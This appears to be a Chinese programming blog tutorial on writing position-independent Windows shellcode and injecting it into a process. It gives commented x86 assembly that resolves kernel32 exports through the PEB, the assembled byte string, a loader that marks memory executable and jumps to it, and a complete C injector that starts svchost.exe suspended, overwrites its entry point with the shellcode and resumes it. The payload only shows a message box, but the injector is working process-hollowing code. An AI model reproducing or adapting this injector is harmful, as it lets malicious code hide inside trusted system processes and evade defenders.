本文主要是介绍编写shellcode并注入至进程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
shellcode
维基百科:
在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。
……
Shellcode通常是以机器码形式编写的。
去掉修饰词,shellcode就是一段机器码。
关于shellcode如何攻击,如何利用漏洞去执行,以后补上。这次主要记录编写的shellcode 以及注入。
编写shellcode
shellcode 跟我们平常见到的机器码是有区别的,他不能是随便扣出来一段机器码就是shellcode。
注意编写shellcode的一些限制:
1.不能使用字符串的直接偏移
在代码中定义一个全局变量,或直接把该字符串传递给某个函数,编译器都会把字符串放置在一个特定的Section中(如.rdata或.data)。
也就是说你在你的shellcode定义的全局变量位置在加载程序后,会重定向到另一个位置,现在你的shellcode就找不到了。(注意这里是不能使用全局变量以及字符串的直接偏移,并不代表你不能push 数据转成字符串。)
2.不能直接使用系统API
因为不能确定这些API函数地址,我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载到相同地址上。而且,DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。
我们需要把DLL文件加载到内存,然后直接通过shellcode查找所需要的函数。幸运的是,Windows API为我们提供了两个函数:LoadLibrary和GetProcAddress。我们可以使用这两个函数来查找函数的地址。
3.不能有一些特定字符(如NULL字节)
空字节:0x00,在C/C++代码中,空字节会被认为是字符串的结束符,如果shellcode中有空字节,
char *shellcode="\x11\x22\x00\x33\x44"
就不能确保后面的shellcode会被执行,比如上面的\x33\x44就不会被执行。
例如MOV EAX,0; XOR EAX,EAX; 两条指令从功能上来说是等价的,但你可以清楚地看到第一条指令包含空字节,而第二条指令却不包含空字节。虽然空字节在编译后的代码中非常常见,但是我们可以很容易地避免。
还有,在一些特殊情况下,shellcode必须避免出现类似\r或\n的字符,甚至只能使用字母数。
shellcode 汇编编写
大体步骤:
1.因为不能直接使用API 所以我们也只能从PEB 开始获取当前程序加载的kernel32.dll的基址。
2.再找到kernel32导出函数GetProcAddress函数。
3.用GetProcAddress(“LoadLibrary”,&BaseOfKernel32.dll)。
4.找到LoadLibrary api,之后想要什么API只用这两个函数就行了。
上代码:
每行都有注释,这次就简单获取MessageBoxA()。
//获取kernel32.dll的基址xor ecx, ecx mov eax, fs:[ecx + 0x30] ;//EAX = PEBmov eax, [eax + 0xc] ;//EAX = PEB->Ldrmov esi, [eax + 0x14] ;//ESI = PEB->Ldr.InMemOrderlodsd ;//EAX = Second modulexchg eax, esi ;//EAX = ESI, ESI = EAXlodsd ;//EAX = Third(kernel32)mov ebx, [eax + 0x10] ;//EBX = Base address//获取导出函数名称vamov edx, [ebx + 0x3c] ;//EDX = DOS->e_lfanewadd edx, ebx ;//EDX = PE Headermov edx, [edx + 0x78] ;//EDX = Offset export tableadd edx, ebx ;//EDX = Export tablemov esi, [edx + 0x20] ;//ESI = Offset names tableadd esi, ebx ;//ESI = Names tablexor ecx, ecx ;//EXC = 0//对比函数名称,得到GetProcAddress函数的序号(ecx)
Get_Function:inc ecx ;//Inc rement the ordinal lodsd ;//Get name offset add eax, ebx ;//Get functionname cmp dword ptr[eax], 0x50746547 ;//GetP jnz Get_Function ;cmp dword ptr[eax + 0x4], 0x41636f72 ;//rocA jnz Get_Function ;cmp dword ptr[eax + 0x8], 0x65726464 ;//ddre jnz Get_Function ;//利用序号,找到GetProcAddress函数地址mov esi, [edx + 0x24] ;//ESI = Offset ordinalsadd esi,ebx ;//ESI = ordinals tablemov cx, [esi + ecx * 2] ;//CX = Number of functiondec ecx ;mov esi,[edx+0x1c] ;//ESI = Offset Address tableadd esi,ebx ;//ESI = Address table;mov edx,[esi + ecx * 4] ;//EDX = Pointer(offset)add edx,ebx ;//EDX = GetProcAddress//利用GetProcAddress函数找到LoadLibrayA函数地址xor ecx,ecx ;//ECX = 0push ebx ;//Kernel32 base addresspush edx ;//GetProcAddresspush ecx ;//0push 0x41797261 ;//aryApush 0x7262694c ;//Librpush 0x64616f4c ;//Loadpush esp ;//"LoadLibraryA"push ebx ;//Kernel32 base addresscall edx ;//GetProcAddress()//使用LoadLibraryA函数加载需要的dll文件add esp,0xc ;//pop "LoadLibraryA"pop ecx ;//ECX = 0;push eax ;//EAX = LoadLibraryApush ecx ;//"\0"mov cx,0x6c6c ;//llpush ecx ;push 0x642e3233 ;//32.dpush 0x72657375 ;//userpush esp ;//"user32.dll"call eax ;//LoadLibrary("user32.dll")//使用GetProcAddress从user32dll中找到需要的函数地址add esp,0x10 ;//Clean stackmov edx,[esp + 0x4] ;//EDX = GetProcAddressxor ecx,ecx ;//ECX = 0push ecx ;mov ecx,0x6141786f ;//oxAapush ecx ;//MessageBoxsub dword ptr[esp+0x3],0x61 ;//Remove "a"push 0x42656761 ;//ageBpush 0x7373654d ;//Messpush esp ;//"MessageBoxA"push eax ;//user.dll addresscall edx ;//GetProcAddress(MessageBoxA)//调用MessageBoxAadd esp,0x10 ;//Cleanup stackxor ecx,ecx ;//ECX = 0push ecx ;push ecx ;push ecx ;push ecx ;call eax ;//MessageBoxA();
如果想让程序结束的优雅一点,可以在调用一个ExitProcess()
可是我不想让他优雅(狗头)
转成shellcode
有个简便的办法:
如果是vs编译器写的汇编
int main()
{__asm{//上面的汇编代码拷贝到这儿}return 0;
}
编译,将生成的exe,拖进OD。找到汇编代码入口:
把该函数全选,二进制复制
将选中的二进制稍微修改一下,0x,\x 都行。
测试运行效果
测试shellcode是否转化成功
#include<stdio.h>
#include<windows.h>int main(){char *shellcode = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";DWORD old = 0;BOOL ret = VirtualProtect(shellcode,strlen(shellcode),PAGE_EXECUTE_READWRITE,&old);__asm{jmp shellcode;}return 0;
}
进程注入shellcode
#include<stdio.h>
#include<windows.h>unsigned char codebuf[] = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";int main()
{STARTUPINFO start = {0};PROCESS_INFORMATION ProcessInfo = {0};start.cb = sizeof(STARTUPINFO);memset(&ProcessInfo, 0, sizeof(PROCESS_INFORMATION));//创建挂起进程if (!CreateProcess(L"C:\\Windows\\System32\\svchost.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&start,&ProcessInfo)){printf("CreateProcess failed (%d).\n", GetLastError());return 0;}//获取线程上下文 拿到进程入口点地址CONTEXT context;context.ContextFlags = CONTEXT_ALL;if (!GetThreadContext(ProcessInfo.hThread, &context)){printf("Get ThreadContext failed (%d).\n", GetLastError());TerminateProcess(ProcessInfo.hProcess,0);return 0;}//写入shellcodeif (!WriteProcessMemory(ProcessInfo.hProcess, (LPVOID)context.Eax, codebuf, sizeof(codebuf), 0)){printf("Write Shellcode faild (%d). \n", GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}//恢复线程运行if (ResumeThread(ProcessInfo.hThread) == (DWORD)-1){printf("ResumeThread failed (%d).\n",GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}
}
成功。
这篇关于编写shellcode并注入至进程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!